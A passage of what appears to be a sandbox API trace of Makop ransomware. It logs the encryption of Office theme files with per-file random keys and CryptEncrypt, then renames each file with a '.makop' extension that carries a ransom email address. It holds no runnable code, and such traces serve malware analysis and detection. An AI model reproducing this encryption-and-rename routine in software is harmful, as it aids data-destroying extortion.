param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE") returned 63 [0098.856] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*") returned 67 [0098.856] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0098.857] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.857] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0098.857] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0098.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.859] GetProcessHeap () returned 0x48a0000 [0098.859] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.859] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.859] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.860] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x5, lpOverlapped=0x0) returned 1 [0098.865] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.865] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.865] GetProcessHeap () returned 0x48a0000 [0098.865] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0098.865] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0098.865] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.865] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0098.866] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.866] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.866] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.866] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.866] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.866] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.867] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.867] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.867] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x53b, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x53b, lpOverlapped=0x0) returned 1 [0098.867] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x540, dwBufLen=0x540 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x540) returned 1 [0098.867] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.867] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x540, lpOverlapped=0x0) returned 1 [0098.867] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.867] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.868] SetEndOfFile (hFile=0x138) returned 1 [0098.875] GetProcessHeap () returned 0x48a0000 [0098.875] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0098.875] GetProcessHeap () returned 0x48a0000 [0098.875] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.875] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0098.875] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.876] CloseHandle (hObject=0x138) returned 1 [0098.876] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1 [0098.876] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM") returned 75 [0098.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.878] GetProcessHeap () returned 0x48a0000 [0098.878] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.878] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.878] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.879] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0098.915] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.915] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.915] GetProcessHeap () returned 0x48a0000 [0098.915] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0098.915] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0098.916] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.916] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0098.917] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.917] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.917] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.917] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.918] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.918] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.918] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.918] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.918] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb20e, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xb20e, lpOverlapped=0x0) returned 1 [0098.922] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xb210, dwBufLen=0xb210 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xb210) returned 1 [0098.923] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.923] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb210, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xb210, lpOverlapped=0x0) returned 1 [0098.924] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.924] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xb2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.924] SetEndOfFile (hFile=0x138) returned 1 [0098.935] GetProcessHeap () returned 0x48a0000 [0098.935] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0098.935] GetProcessHeap () returned 0x48a0000 [0098.935] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.935] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0098.935] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.947] CloseHandle (hObject=0x138) returned 1 [0098.949] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1 [0098.949] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF") returned 75 [0098.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.950] GetProcessHeap () returned 0x48a0000 [0098.950] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.950] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.950] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.950] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x5, lpOverlapped=0x0) returned 1 [0098.954] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.955] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.955] GetProcessHeap () returned 0x48a0000 [0098.955] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0098.955] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0098.955] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.955] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0098.955] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.955] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.955] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.956] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.957] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.957] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.957] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.957] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.957] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x24b, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x24b, lpOverlapped=0x0) returned 1 [0098.957] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x250, dwBufLen=0x250 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x250) returned 1 [0098.957] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.957] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x250, lpOverlapped=0x0) returned 1 [0098.957] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.958] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.958] SetEndOfFile (hFile=0x138) returned 1 [0098.966] GetProcessHeap () returned 0x48a0000 [0098.966] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0098.966] GetProcessHeap () returned 0x48a0000 [0098.966] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.966] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0098.966] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.967] CloseHandle (hObject=0x138) returned 1 [0098.967] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0098.967] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0098.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.968] GetProcessHeap () returned 0x48a0000 [0098.968] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.968] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.968] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.968] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0098.973] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.973] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.973] GetProcessHeap () returned 0x48a0000 [0098.973] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0098.973] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0098.973] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.973] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0098.973] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.974] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.974] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.974] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.974] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.974] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.974] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.975] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.975] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4162, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x4162, lpOverlapped=0x0) returned 1 [0098.978] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x4170, 